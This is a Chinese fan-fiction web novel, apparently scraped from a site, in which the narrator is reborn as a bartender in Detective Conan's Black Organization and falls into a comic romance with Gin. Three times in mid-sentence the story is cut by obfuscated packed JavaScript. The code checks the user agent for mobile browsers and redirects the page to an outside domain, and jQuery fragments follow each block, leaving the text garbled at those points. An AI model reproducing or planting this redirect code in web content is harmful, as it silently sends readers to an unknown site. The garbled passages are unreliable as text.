《琴酒非要我负责》
1. 第一章
1.
我重生了。
重生成了霓虹的一家酒吧的酒保。
确切来说,是黑衣组织的酒保。对,就是那部直到我死了也没连载出大结局的《名侦探柯南》里的黑衣组织。
当我重生的时候,正好赶上负责带我们去各自职位的黑衣组织的教官问我要给自己取什么名字。
没办法,我们这种无父无母的从小在组织长大的孤儿是根本没有名字的,大家彼此的称呼都是代号来着,是要等到将来被组织安排身份的时候才有名字。
没错,我不仅没有代号,甚至都不配组织赋予名字TT
不过,名字啊……
刚刚重生还没从上辈子的记忆中缓过来的我,思考了许久,最后在那个人不耐烦地,马上就要直接给我随便取个名字的眼神下,说出了一个霓虹人听起来没什么但是种花人一听就倍感熟悉的名字——
开门英子。
耶斯,就是那个,开门,英子,爹地的,开门英子。
2.
我谈了一场“办公室恋情”。
我男朋友叫黑泽阵,组织代号,琴酒。
对,或许就是你们认识的那个琴酒。
如果说你们认识的琴酒刚好也是银色长发绿色眼睛,往那里一站就杀气腾腾可止小儿夜啼的话。
那就是同一个了。
3.
我发誓,一切一开始就真的是个意外。
酒保,知道什么叫酒保吧?该怎么解释我的工作呢?我知道,在很多人看来,酒保就是酒吧里的服务员,端茶倒水之类的,可是,酒保也是有基本技能的,比如说,调酒。
尽管黑衣组织实际上并不是真的需要我去当个普通的服务员,但是他们对我的所有很“宏大”的期待都因为我的过分废柴而灰飞烟灭,于是,他们对我的期待就只有了当一个能让黑衣组织放心的好酒保。
就是那种能够提供黑衣组织成员喝酒享受甚至是谈事情的能够放心的环境的好酒保。
我之所以铺垫这么多,就是为了解释为什么我会在琴酒的家里调酒。或许,这叫做中期考核(?)。
因为琴酒算是我的上级,在众多人的劝退下他还坚决担任了我的教官,就因为他想不通怎么会有人那么烂泥扶不上墙。
直到他真的见识了,有人就是这么烂泥扶不上墙,而且这坨烂泥还敢胆大包天地抱着他的大腿求放过,求放弃。
琴酒的词典里没有放弃,不愿放弃自己“魔鬼教官”名声的琴酒认为,此路不通,必有后路,于是琴酒开始不定期视察我的调酒学习成果。
这次,因为刚做完任务,他就把我从polestar酒吧拎到了他家,让我从头到尾完整表演了一遍,他不在的三天里我都学了什么酒,以及学的怎么样。
当然,琴酒家里不会只有我们两个人,还有琴酒的固定捆物,伏特加。
就是伏特加的酒量到底还是不如琴酒,更不如天赋异禀的我。
喝到第三十小杯的时候,伏特加已然醉成了死猪,趴在桌子上睡得不知天地为何物了。
酒量好的人喝酒是不上脸的,就比如琴酒现在,不同于伏特加通红的脸,琴酒的脸色还是那么白,纯天然冷白皮看了让人无法不心生嫉妒。
不过,我已经和琴酒相处很久了,所以我一眼就能看出来琴酒的眼神也有些游离。
他也有点醉了。
三十小杯鸡尾酒,可不是小数目哦。
我没忍住,舔了舔嘴巴。
实在是因为琴酒现在太好看了,虽说他一直都很好看,可是在家里就没再穿那身经典黑色风衣的他,平添了几分我自己脑补出来的柔软。
再加上原本冰冷锐利的人因为酒精而改变的眼神,落在我身上的样子。
他的长睫缓慢地眨了眨,对于本就心怀不轨的我来说,真的很难不继续脑补一些乱七八糟的。
比如说,他看我,就说明他心里有我。
没错,心怀不轨。
哪怕琴酒的外在形象和人设,在黑衣组织里的名声就是生人勿近的杀人机器,也哪怕我深知不仅仅是动漫里的刻画,真实的琴酒就是心狠手辣的无情杀手。
可是,他真的太帅了。
我上辈子就pick他了!
反派很美味啊,不懂反派有多美味的人真的有难了,更何况琴酒还是白毛!是我们中国女人无法拒绝的白毛!我从生下来开始就喜欢白毛了(震声)!
更何况,尽管知道琴酒杀人不眨眼,可是他对我……我总感觉是有些特别的。
比如说,他对我容忍度极高?哪怕我的四体不勤气得他都想打人了,可他也没真的打我。别管是不是因为我的脆皮程度是他打一下我就能原地去世,反正他没真的打我,训练场上操练我除外。
而且他还会在我呼痛卖惨的时候给我上药呢,上药的时候一点也不粗暴。
——别管是不是不想下手重了之后被我的尖叫声穿破耳膜。
来到这个世界,意识到我身处黑衣组织之后,我就不停地在试探底线。作为一个被黑衣组织抚养长大的孤儿,黑衣组织能给我多大的优待,以及对叛徒毫不手软的琴酒对于我这个根歪苗黑的自己人能有多容忍。
试探着试探着,我就真的难免有些恃宠生娇的意味。
再加上黑衣组织真的是个不道德的组织,估计是因为大家每天都在刀尖上行走,不一定哪天就挂了,所以大家对于自己的欲望也格外放肆。每天都生活在这种环境里,我当然也不是什么道德的人,所以——
俺想嫖琴酒!
我感觉他心里有我!
拜托,一个大帅哥,会每天和你在一起,虽然嘴上会骂你,但是你想怎么样都惯着你。
我这种自恋的人,真的很难不多想,甚至多想到,就连他对我训练严格,我都可以理解成他是怕我有危险怕我死掉。哦,对了,他还会任凭我厚脸皮的土味情话袭击都不揍我,这不是爱,这是什么?这绝对就是爱吧!
在此,我只想点播一首《这就是爱》。
谨以此歌,送给我的大哥。
诶,押韵了!
再加上贝尔摩德每次看到我和琴酒在一起,就会神秘微笑,当着琴酒的面或者趁琴酒不在的时候,再说点似是而非的话。
这种暗示,就真的更让我觉得琴酒对我是特别的。
那我,还有什么理由不冲吗?
人生得意须尽欢啊家人们!睡一下琴酒绝对不亏啊!!!
估计我也是有些醉了,酒精冲昏了我本来就冲动的大脑,我放下雪克杯,凑到了琴酒旁边,拉着他旁边的椅子坐下,还又挪近了一些。
琴酒斜眼看我:“就学了这些?”
谁懂啊,这种长眸斜过来的样子,有点像看狗(?)的那种俾睨众生(?),看得我更加dokidokidoki!
我咽了一下口水,扬起笑说:“不是啦,只是我有话想问你。”
琴酒垂眸,指节敲了一下空酒杯,发出清脆的声音。
“说吧。”
距离这么近,我才发现他的脸上也隐隐浮现出淡淡的红晕。
嗯,酒后乱性的可能性更大了。
实战经验为零可不代表我什么都不懂,完全醉了是O不起来的,就这种状态才是最容易酒后乱性的!
我用双手捂住滚烫的脸——再没有道德,再喜欢口花花,第一次认真起来说这种话,我也会羞涩的。
羞涩的开门英子顺势捧着脸,棕色眼睛亮晶晶地看着他的侧脸,充满期待地问:“呐,大哥,你是不是也对我有意思啊?”
划重点,我说的是“也”,因为我已经在毫不掩饰我对琴酒有意思了!
闻言,琴酒抬起头,终于肯正眼看我。
我认真地看进他的眼底,看到了祖母绿色眸子里倒映出的我,深吸一口气才说:“其实,如果你愿意的话——”
话没说完,因为我眼睁睁地看着,琴酒的双眼顿时变成了一片清明。
而且是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993448|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冰冷的清明。
琴酒薄唇微动,打断了我的话:“开门英子,你在想什么。”
是陈述句。
我的嘴唇抖了抖,一时之间不知道该说什么。
我只听见“哐当”一声,是醉成死猪也不安分的伏特加从桌子上倒到了地上。
他只是闷哼了一声,又继续打起了呼噜。
也幸好他没有醒,不然,我真的无所适从了。
因为,琴酒他直直看着我,没有一丝让我脑补出温情的机会。
“不要以为你可以强迫我。”
“不要以为你可以诱惑到我。”
“不要以为组织的所有命令我都要听。”
我想不明白他为什么会这么说。
我也没有脑子去想这些。
因为,我感受到了他身上浓浓的杀气。
有那么一瞬间,我能感觉到,他是真的很想杀了我。
这是第一次,我在他身上感觉到了如此真实的杀气。
不是被我气出来的那种虚张声势吓唬我的杀气,而是真真切切的,想要我死在他手里的杀气。
我被吓得有些说不出来话了。
是就因为我的胆大包天,是因为我这么个怎么训练都还是废物的家伙居然敢对他表白,还是因为……
可能都有吧。
浑身的汗毛都在战栗,我的直觉告诉我,我现在应该装作什么事情都没发生,装作自己只是和以前一样不正经地说土味情话,继续去调酒。
我也确实这么做了。
琴酒很满意,他继续喝着,还不忘点评我哪里做的不好。
我也明白了,琴酒对我的所有优待,都只是对于黑衣组织分给他的下属的睁一只眼闭一只眼。
琴酒还是琴酒,那个会为黑衣组织扫除一切障碍的杀人机器。
就像他与黑衣组织的其他人不同,不会在执行任务后选择泄欲来发泄压力一样,他对男女之事不感兴趣,是酒醉后依旧清明地拒绝人示好的,脱离了低级趣味,一心只有变强的琴酒。
他不会喜欢我。
也对,这毕竟是个动漫世界,我也不过就是个意外重生的路人甲,又不是天生主角,怎么会有纸片人喜欢我呢?
4.
我给自己做足了心理建设,把自己哄得很好,可是,在醒来后,还是被吓得差点死掉。
该怎么形容现在的状态呢?
让我捋一下,我失去意识前发生了什么……
调酒学习成果检验结束,琴酒拎着伏特加去了伏特加家里,然后我呢?
我亦步亦趋地跟着琴酒从伏特加家里回来,然后,喝多了也记得要苟命的我很有眼色地主动提出我可以睡琴酒家里的沙发或者原路返回,去睡伏特加家里的客房。
然后琴酒说?他家也有客房?
对啊!我明明是睡在了琴酒家的客房啊!
我又怎么突然在琴酒的床上了啊!!!
我以前怎么不知道我有梦游的毛病啊!救命啊救命啊救命啊!
我嘴巴张得老圆了,眼睛也慌乱到眨得没影儿了,掐自己一把也不得不面对现实。
我,在琴酒的床上。
好巧,琴酒也在。
更巧的是,琴酒醒了,还醒得比我更早,就靠坐着床头,若有所思地看着我差点猝死过去的样子。
哈哈哈哈哈这一点也不巧!琴酒现在看我是什么意思?看着我,盘算着怎么弄死我吗?
老天奶,我不会再崇拜你了。
我的胆子真有这么大吗?还敢在琴酒明牌威胁之后,梦游到他床上?
该死,我不会把琴酒给上了吧?
开门英子,你这么牛?
我瞳孔地震,下意识就想掀开被子偷偷往下面看一眼。
琴酒的话制止了我的行动。
也吓得我差点魂飞魄散。
但是他不是说要弄死我。
他说的是:
“怎么,不打算对我负责?”
2. 第二章
5.
我呆住了。
或许是我的表情太过智障,琴酒觉得和傻子开玩笑一点意思都没有。嗯,别看琴酒看上去不苟言笑冷酷黑暗大冰山,但是他也挺喜欢开玩笑的,尤其喜欢用嘲讽的口吻跟我开玩笑——绝对不是损我。
不然很难解释,为什么琴酒的表情有些怔忪,莫名让我有种,刚才的话他也没想过会说出来一样?
就很古怪,不过琴酒很快就进行了下一句:
“醒了?醒了就起来。”
抛开刚才的玩笑话不谈,这句话他也说得好自然,就跟我本来就应该出现在他床上一样。
这还是有点OOC,琴酒怎么可能会说出这么,呃,关怀的话?不管,这种话对琴酒来说简直就是关怀加温柔,总之,不像是他能说出来的话。
正常情况下,琴酒应该直接把我踢下去,然后下一秒伯.莱.塔就顶上我的脑门,问我是不是想死——嗯,我应该是被琴酒踢下去之后痛醒的而不是自然醒。
尤其是在前一夜,琴酒就算喝多了也不会对我酒后乱性,还差点把我弄死。
有那么一瞬间,我怀疑自己还在梦里,梦里琴酒跟我开玩笑还关心我醒没醒。
开门英子,你真牛,做梦都敢梦这么大的!
昨天晚上都要被吓成小鹌鹑了,梦里还能妄想琴酒说出这种话……这么色胆包天,还真不愧是我。
肯定是做梦啊,包做梦的。
那可是琴酒,昨天被我的大胆发言气到差点真的弄死我的琴酒,怎么可能过了一晚上突然间变了态度?
正常情况下,不都是醉酒的时候很好说话,酒醒了之后不想认账吗?怎么可能会有人反过来关心(?)我醒没醒?
更不可能是琴酒。
我下意识就闭上了眼。
毕竟梦是人做的,人的意识也是能控制梦境的。一般来说,我只要在心里默念“快点醒过来”,我就能马上醒过来了。
我照做了。
再睁开眼……
嗯?怎么琴酒还在?
甚至还是我闭眼前的姿势。
就是表情变了,从最开始好整以暇的样子变成了……我熟悉的看傻子的眼神。
我疑惑地歪了一下头,又马上想明白了。
我多聪明呢,这一定是因为!
我的意志力不够强大!不能战胜我对于帅哥的妄想!
合情合理啊合情合理。
既然不能用这种方式叫醒我自己,那就只能返璞归真回归自然我是指用最朴素的方式来结束这场美梦了。
——痛觉。
通俗来讲,就是再掐一下,包醒的。
刚才没醒一定是因为力气不够,不够唤醒我自己。
按照我个人的习惯,我是不会掐自己的,我一般都是选择掐别人,反正作用都是一样的。
可是,现在这个空间里的别人就只有琴酒。
再怎么知道这就是个梦,可是琴酒的积威真的很深。
单看我都敢做梦和他出现在一张床上了,但是也只敢梦到他让我负责这种可进可退的状态,都不敢梦得再大一点就知道了。
色胆包天,但不敢真的包天。
于是,我委委屈屈地掐了一下我自己。
刚才掐的不够狠,女人不狠地位不稳,为了能快点醒过来,我多用了点力气,痛到我直接“嗷”了一声。
“你是笨蛋吗?”
我震惊了。
倒不是震惊琴酒骂我,这是正常操作,梦里他也应该骂我的。
我震惊的是——
痛是真的。
琴酒也没有消失。
也就是说。
这不是梦。
琴酒真的和我出现在了一张床上。
他还没揍我。
6.
琴酒估计也是没想到昨天晚上还狗仗人势,不是,人仗酒势想要跟他进行“深度”交流的我,现在感受到琴酒态度如此之好,堪比天上的馅饼都直接掉嘴边了,我居然不是直接一口吞了不说,还怀疑我在做梦。
可是真的很难理解啊,他昨天真的想弄死我诶!
我这个人确实没什么特长,四体不勤,脑子也不适合做研究,唯二能算得上优点的,一个是酒量很好,再一个就是直觉很准。
在黑衣组织混到现在,最开始一点记忆都没有也能顺利瞒过教官,我靠的除了我的个人魅力之外,还有就是无敌直觉啊!
我的直觉不会出错,琴酒昨天晚上是真的对我起了杀心。当时的杀气与我之前试探他底线时他浑身的杀气完全不同,不是警告,而是真实的,想要杀了我。
究竟是什么,会让琴酒一夜之间改变了主意?
我可是火速从床上爬起来的,就是一下子从被子里弹出来了。
衣服好好的全穿在身上,除了正常睡觉的褶皱之外没有一点痕迹。看我能身轻如燕地弹出来也能证明昨天晚上什么都没有发生。
我没有更加人仗酒势地把琴酒给睡了。
不然就算琴酒那么好心能帮我穿好衣服(?),我又怎么可能一点感觉都没有啊!!!
所以,是因为我梦游上了他的床还没睡他,所以他觉得我很有眼色?因此温柔起来了?
是的,我现在已经初步断定是我梦游到琴酒床上的了。
因为我有清楚的记忆,记得我真的躺在了琴酒家里客房的床上。毕竟我认床,就算有酒精的影响,我也是滚了好几圈才睡着的。
总不能是琴酒把我从客房抱到(?),呃,不对,拎到(?)他床上的吧?
那么一定就是我睡得不好,所以初次梦游,还很有出息地直接梦游到了琴酒的床上。
第一次梦游就这么厉害,我又要说了,不愧是我!
琴酒就这么看着我发疯,看我脸色变来变去,等我露出一副得意样子之后才从床上下来,站在我面前,居高临下的看着我,银色的长发垂在我眼前。
发质太好了,很让人有想要抓一下的冲动。
嗯?这个形容怎么有点像逗猫棒?
呸呸呸,我又不是猫!
我用力地眨巴了两下眼睛,将视线从琴酒的长发上移开,抬起头去看他。
与他的狭长眼眸对视上,莫名其妙地感觉浑身烫了一下,我才后知后觉地意识到——
重点似乎不是我是怎么梦游到琴酒床上的。
而是他为什么这么温柔?
受宠若惊了真的。
我张了张嘴,这下真成笨蛋了。
但笨蛋不耻下问,于是笨蛋勇敢提问:“呐,大哥,你是还没睡醒吗?”
这么勇敢,真的,不愧是我!
7.
琴酒应该是真的没睡醒。
他居然没有揍我。
也没骂我。
他只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993449|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是眯了眯眼睛,认真地问:“你脑子里装的都是什么?”
我同样认真且熟练地回答:“装的都是我对大哥的爱。”
就跟之前无数次发生的画面一样,我看到琴酒的胸肌起伏了一下,这代表着琴酒深呼吸了一下。
看起来他是真的睡醒了,在清醒地克制自己不要揍我。
原因很简单,他一拳头下来,我是真的会死。
琴酒走了。
琴酒又回来。
好熟悉的场景,在我刚来到他身边,总是试探他或者不小心惹他生气,他都是这样强忍着不把我打死地离开再回来让我乖乖听话。
只是,场景熟悉,接下来的画面却并不熟悉。
他站在门口,我看不懂的目光落在我身上:“整理好就出来。”
整理什么?我下意识冲到卫生间里照镜子,果然,镜子里的人头发乱如鸡窝。
不出意外的话,应该是刚醒来的时候难以消化震惊一幕,被我亲手抓出来的。
这么乱的鸡窝,琴酒是怎么做到不笑的???
此时此刻,我心中对于琴酒的敬仰之情不免又多了几分。
笑点的高低大概也是组织top killer和废物酒保的差别之一吧。
8.
收拾好外形,也该收拾一下心理。
我是指理解一下琴酒为什么转变这么大。
他明明昨天晚上差点杀了我诶。
哦,let me再自恋一点,就是弥补一下昨天晚上吓到我的那件事?他怕我以为他讨厌我,会影响以后的工作?
合情合理了。
我就说,琴酒是个好领导。他明明昨天都被我气到想要弄死我了,但是面对压力大到都梦游起来了的我还是没有弄死我。
还好心问我有没有睡醒。
好人啊好人,琴酒是大好人!
但是抛开一切不谈,难道琴酒就没有问题吗?谁让他在家睡觉不锁卧室门的?但凡他锁了卧室门,我怎么可能梦游到他床上!
9.
拍拍脸蛋子,我擦干脸,偷偷用了点琴酒的护肤品——科科,反正也是我买的,我用了怎么了,他都不用!
真的整理好了,我才走出了琴酒的房间。
琴酒就坐在沙发上看文件,听到我的脚步声后抬起眼,目光上下打量了一下我的样子,视线尤其在我脸上停顿了两秒:“还觉得自己在做梦?”
我是个脆皮,外力稍微大一点皮肤就会有痕迹。估计是拍脸蛋子的力气大了点,留了些红印。我照镜子的时候也没发现很明显,看来琴酒果然是鹰眼。
“这是护肤,才不是以为做梦打自己,我可不是会自虐的人。”我鼓了鼓腮帮子,“用了点你的护肤品有什么错?还不是我买的?”
尽管是刷琴酒的卡,但是挑东西买东西的过程是我亲手实现的,怎么不算是我买的呢?
琴酒懒得跟我计较这些事,淡淡扫过我一眼,从沙发上站起来往门口走。已经换上外出衣服的他拿起衣架上的黑色风衣:“走。”
“好耶!谢谢大哥送我回家!”我马上美滋滋地跟上,就算琴酒背后没长眼睛也不影响给他比了个心。
“谁说是送你回家?”
我一愣,脚步停在原地:“诶?”
琴酒言简意赅:“收拾东西,搬过来。”
我大为震惊:“大哥你是认真的?”
3. 第三章
10.
又生气了。
我是说琴酒。
我当然是不敢对琴酒生气的,我的胆子目前还不支撑到那种程度。
按照我的理解以及猜想,琴酒应该是因为他难得同意让我搬过来,但是我却反问他是不是认真的,这简直就是不识好歹。
毕竟我在最开始搬到酒吧住的时候就抱怨过阁楼又小又什么都没有,还要爬楼梯,甚至每次爬完楼梯气喘吁吁的时候都要跟琴酒抱怨很久,甚至聊天的时候,只要说到房子,我就要吐槽一遍住的地方和上班的地方是同一个地方实在是太过悲催。
上班通勤时间太长确实会让人想辞职,但是通勤时间太短甚至直接住公司就更会让人想要辞职啊!这样下班和上班又有什么区别?
可惜,在黑衣组织辞职约等于主动提出想要被结束生命。
于是,我就只能每天做梦,我真的十分想要住到有电梯的公寓楼,最好是那种大大的。
哪个女孩子没有住大房子的梦呢?我超有的,我甚至还暗戳戳决定要攒钱买房,多多买房。毕竟这里是柯学世界,等江户川柯南出现了,米花乃至东京的房价一定会一跌再跌,我就不信我不能靠薅黑衣组织羊毛买上几套房子。
这样,将来等黑衣组织倒闭了,我还能靠着存款和房租做快乐收租婆,不用上班还能有闲钱包养男模嘻嘻嘻嘻!
我也没少惦记琴酒的房子,尤其是在琴酒还把他家钥匙给我一份之后,我就更对琴酒家里的客房蠢蠢欲动了。
反正琴酒房子里有空房间,多住一个我怎么了?
只是吧,每次我蠢蠢欲动地表示出来惦记之情,就会被琴酒瞪回去。
但是我真没想到琴酒会突然同意让我搬过来,我震惊很正常吧?
今天一整天都太过玄幻,无论是我梦游到琴酒床上都没被他收拾,还是他居然主动提出来让我搬过来。
我估计我现在满脸都写着不可思议,嘴巴也张圆得可以塞一个鸡蛋进去,样子又呆又傻,以至于琴酒生气,又觉得自己没必要跟傻子生气。
于是,我眼睁睁看着琴酒深吸了一口气,银色的额发下墨绿色的长眸中有一闪而过,快到我以为自己脑补出幻觉的无奈意味,
“走吧。”
……我懂了。
琴酒大哥这么做一定有他的道理。
他让我搬过来,一定是黑衣组织对我有了其他的安排,琴酒跟收下我当下属一样奉命行事罢了。
我没有思考地就跟在了琴酒后面,亦步亦趋跟着他进了电梯,又跟着他进了车里。
十分自然地扣上安全带,等车都要开出二里地了,我才发现不对劲。
我飞快地大喊一声:“不对!”
出了琴酒家门就是哑巴的我沉默了一路,沉默到琴酒大概已经把我当空气了,所以在我突然大喊一声的时候,琴酒方向盘上的手都顿了一下。
要么怎么说是我大哥呢?要是换做是我,旁边的玩具摆设突然大喊大叫,那我高低得把刹车当油门踩了。
“又怎么了?”
“不对劲,大哥。”我又强调了一遍。
车速都没变,琴酒长眸淡淡从我身上扫过,语气也叫一个平淡,跟根本没指望我能说出什么重要的话一样。
“哦。”
可是我的话明明很重要啊!
我认真地说:“大哥,我们把伏特加忘掉了。”
琴酒:“……”
我看出来了,琴酒的沉默表情翻译一下就是“我就知道你不会说什么正事”。
这怎么不算是正事呢?没有跟着我们一起行动的可是伏特加诶!琴酒的第一小弟,琴酒身边没有他的次数屈指可数啊!
马萨卡!
我懂了!
我眼睛都亮了:“大哥,我懂了!”
琴酒看都懒得看我一眼,更别提敷衍地问我懂什么了。
这不重要,我一点也不在乎。
重要的是,琴酒这次行动,带的是我,不是伏特加。
这说明什么?
这说明!我已经初步可以取代伏特加那琴酒第一小弟的地位了!
我就知道,念念不忘,必有回响,舔舔不忘,必有回响!
我十分激动地原地打了一套军体拳,等打完才反应过来。
呃,要是去酒吧收拾东西,或许还真的不需要估计至今还没醒酒的伏特加。
诶,不对啊,更不对了!
要是不带伏特加,那我的一堆东西,谁搬啊?
总不能是琴酒大哥亲自干活吧?
可恶,我就知道,我就知道!
琴酒锻炼我力气一定是别有用心,不仅是想方便让我自己搬酒,这还想让我自己搬家呢。
他怎么忍心让我这么一个弱女子自己搬家的???
果然,我就知道,我们黑衣组织没什么好人!
11.
Polestar酒吧一楼是营业厅点,二楼是包厢,但只对黑衣组织开放,最常的用途是用来给琴酒他们开会,而我的住处是三楼的阁楼。
因为定位特殊,Polestar酒吧的楼梯算得上是直接对外封锁的,可以说除了我和经过琴酒允许的黑衣组织成员之外都不被允许上楼。
我住的三楼阁楼就更是锁上加锁,连琴酒都不会上来。我邀请他很多次他都不肯上来,不过他应该没什么女孩子的闺房不能进去的概念,他应该单纯是嫌弃我。
尤其是在我的小阁楼被我刷他的卡布置得少女心满满之后,我每次给琴酒分享我的装修进度,他都烦得要死,恨不得把我的嘴巴堵住。
所以,这次我也以为会向往常一样,琴酒会在一楼等我。
我咬了咬嘴巴,想要跟琴酒商量,问他能不能去二楼接应一下我,我估计会搬很多东西下来,一个人抬重物下楼梯尊嘟很狼狈。
我决定了,我晚上就要下单购买定滑轮,为了以后的搬家用。
什么?你问我为什么要下单买?嘻嘻,当然是因为本热爱生活的人士,要买定滑轮,也要买华丽的定滑轮,我要挑选或者定制美丽的图案,这样才能配得上瓦塔西的身份。
只是,我万万没想到的是,不等我说话,琴酒就主动跟我上了楼,还长腿一迈,轻轻松松就走在了我前面。
我大喜。
到了二楼,琴酒却步履不停,迈上了通往三楼的台阶。
我大惊。
“大哥?”
琴酒表情依旧平静,就跟之前嫌弃抗拒的人不是他一样,他还往旁边站了一下,轻轻侧脸,示意我开门。
我眼泪都要下来了。
“你又怎么了?”
“没什么,就是感动。”我扁着嘴,擦了擦干燥的眼角,“大哥,你对我太好了!”
都不需要我主动开口,就愿意直接到三楼陪我搬家,呜呜呜呜我就知道我就知道我就知道琴酒的心里是有我的。
我看是谁还不承认我就是琴酒麾下第一小妹!
别逼我放伏特加咬他!
琴酒的手指都伸到我眼前了,食指与我的食指相碰。
我呆住了,完全没想到装哭就这么被琴酒抓包,眼睛瞪得溜圆,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993450|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚要狡辩,却……
我,眼睁睁,看着琴酒,握住了我躲了但没能躲开的食指。
“大、大哥?”
琴酒低垂着眼眸,慢条斯理地摩挲了一下我的食指,才松开,从我身边经过,走进了我精心布置的小阁楼。
徒留我茫然地低头看着自己的食指。
食指上面似乎还残留着温度,肉眼可见地微微颤抖着,我下意识低头盯了一会,又握紧拳头,把食指包裹起来,才抬起头噔噔噔地跟过去:“大哥,等等我!”
12.
“嘻嘻,怎么样,是不是走进来之后就觉得还挺好看的?比照片里更温馨吧?”我得意地叉腰,大大地一挥手,“不是我吹,大哥,你的钱我可一分钱都没有白花,这屋子拿去拍room tour都绝对能点击率破万~”
琴酒的目光落回到我身上,忽然意味不明地笑了一下。
那什么,给我笑麻了。
我眼珠子一转,急忙找补:“但是大哥你放心,这个月工资到了,我就能把钱全都还你,我已经攒得差不多了哦。”
拖了这么久也不怪我嘛,谁让这阁楼我来的时候连个床板子都没有,可全都是我从头到尾置办的。那时候我刚被分过来也没有工资,琴酒又很豪爽地把银行卡直接给我了,那我东西买的好一点贵一点,不是很正常吗?
可是我住的地方呢,贪便宜买到对身体不好的材料,坏的不是我的身体?
还得买耐用的,我那时候怎么知道一年都没到就要换地方住。
琴酒脸上的笑淡了下去,他盯着我讪笑的脸,到底还是没忍住揍我。
哦,也不是真的揍,就是捏住我的脸而已。
也没使劲,但我还是夸张地大呼小叫顺便皱起脸呼痛:“嗷嗷嗷!大哥我错了,那我先……”
本来我是想说那我就先还一部分,不过对上琴酒的眼睛,看到他眼睛里的我,我忽然福至心灵。
懂了,是我的错。
琴酒哪里是因为我没还钱生气,他是因为我还想还他钱生气罢了。
呜呜呜呜我就知道琴酒是全天下最好的领导!他给我银行卡就是单纯想补贴我这么一个初来乍到的下属,不想让我光秃秃地睡地板而已。
我居然还惦记着还他钱,不懂他的好意,是我的错。
果然一切都是有时差的,我居然现在才品出来琴酒大哥对我的爱,都是我的错。
我就说,琴酒是黑衣组织里最好的领导,这个世界,不是,这个破黑衣组织,没有琴酒根本转不了!
我吸了吸鼻子,用力努着嘴,双手握住琴酒实际上根本没用力的手,含情脉脉道:“大哥,你对我真好。”
琴酒居然晃了一下神?
他松开我,还甩了甩手:“收拾东西吧。”
来的路上琴酒就跟我说过了,因为我的废柴身体和polestar酒吧的特殊定位,我并不是彻底搬离酒吧。当琴酒他们要执行离开东京的任务的时候,我就还要回酒吧住。所以,我并不是要一下子就把阁楼搬空,而是带走大部分东西,留下床铺和衣物等一些生活必需品。
其他的等去琴酒家之后看情况再补足。
一路上都在计划要收拾什么的我干起活来非常麻利,我们的收拾进度比预估得快了不少,以至于把东西带回去的时候,伏特加才刚醒酒。
没错哦,是我们。
……我也没想到,琴酒不仅愿意帮我搬东西,甚至还愿意帮我收拾东西。
鸣鸣鸣,我就说琴酒是全黑衣组织最好的领导,不对,是全天下,谁支持,谁反对?
4. 第四章
13.
在一堆又一堆的行李之间,我大喇喇地躺在地板上。
你看这天花板,可真天花板啊。
琴酒家就是琴酒家,连天花板都这么周正,一看就是正经天花板!
哦,这么好看的天花板,就该配琴酒,也就该配我开门英子!
万万没想到,我开门英子,也有住进琴酒家的一天。
呜呜呜,洒家此生无憾了。
老天奶,我将永远追随您(虔!诚!)(忠!诚!)。
双手握拳捧在胸前,我的脸上洋溢着幸福的微笑,就连门外站了两个壮汉也不影响我的幸福。
熟悉的冷声嘲讽,听起来也如此美妙:“蠢货,躺在地上干什么?”
“我在感谢天~感谢地~感谢阳光让我们相遇~”如听仙乐耳暂明,我把头往后靠,调整到了一个躺着也能看到站在门口的琴酒和姗姗来迟的伏特加的角度。
琴酒:“……”
好残忍,真的,为什么倒放的琴酒也这么好看,对比起来,旁边的伏特加,呃,嗯,啊……
一点也不藏着掖着,我笑嘻嘻地咧开嘴:“呐,大哥,你怎么这个角度也这么帅啊?倒着还这么帅,有天理吗?”
琴酒是一贯懒得理我,扔下一句“收拾好了再出来”就走了。
他,挥一挥衣袖,不带走一丝云彩。
和琴酒相反,伏特加倒是好奇地过来,蹲在我旁边,认真地问:“英子,那我呢?”
“你吗?”我更加认真地思考了一下,倒着看他放大的脸,严谨地回答,“大哥自然是帅的,你嘛……”
伏特加期待起来,隔着墨镜我都能感受到他blingbling的眼神了。
不撒谎的我点点头:“你也是个人。”
伏特加:“?”
“嘿嘿,不逗你了。”我扑腾了一下胳膊,示意伏特加拉一下我。
在伏特加下意识的辅助下,我顺利从躺着的状态变成了盘腿坐在地上。
环视了一圈地上的行李,我把手放在下巴上,不禁开始计算要从哪里进行布置的第一步。
先换床单被罩呢?还是最后一步再换床单被罩,这样还能方便把一些小东西暂时堆在床上?
我思考着,伏特加也没闲着。他就近扒拉了一下行李,摸着后脑勺,一副没有认清这个世界怎么运转成这个样子的模样。
愚蠢的伏特加看了眼地上堆的东西,又看向我:“所以英子要搬过来吗?”
